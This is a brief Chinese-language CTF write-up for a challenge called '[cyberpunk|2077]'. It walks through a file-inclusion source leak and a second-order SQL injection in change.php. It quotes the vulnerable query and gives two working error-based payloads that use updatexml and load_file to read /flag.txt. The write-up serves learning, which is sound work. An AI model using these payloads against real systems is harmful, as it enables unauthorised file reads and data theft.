前言
关键字:[cyberpunk|2077]
又是一道一年前做过的题,翻了翻当时的笔记,折腾了很久,没做出来。
看了看wp,才知道flag在/flag.txt下面,之前一直在用错显爆数据库
题解
1.文件包含
首先在注释里发现<!--?file=?-->
,文件包含下,加上伪协议,把几个文件源码爆出来,慢慢看。
过滤的很死,但在change.php里没有对address进行正则检测,sql语句里还对旧address
进行查询,所以漏洞就出在这。
$sql = "update `user` set `address`='" . $address . "', `old_address`='" . $row['address'] . "' where `user_id`=" . $row['user_id'];
逻辑梳理:address打入注入代码=>第二次正常运行触发注入代码
2.SQL注入
因为有 print_r($db->error);
,所以错显读取flag,至于怎么知道flag在/flag.txt,暂时不明
payload:
&address=1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
&address=1' and updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
一个账户执行执行一个payload,因为之前打入的注入代码破坏了正常逻辑,导致无法正常更新数据,所以注入代码就一直是同一句。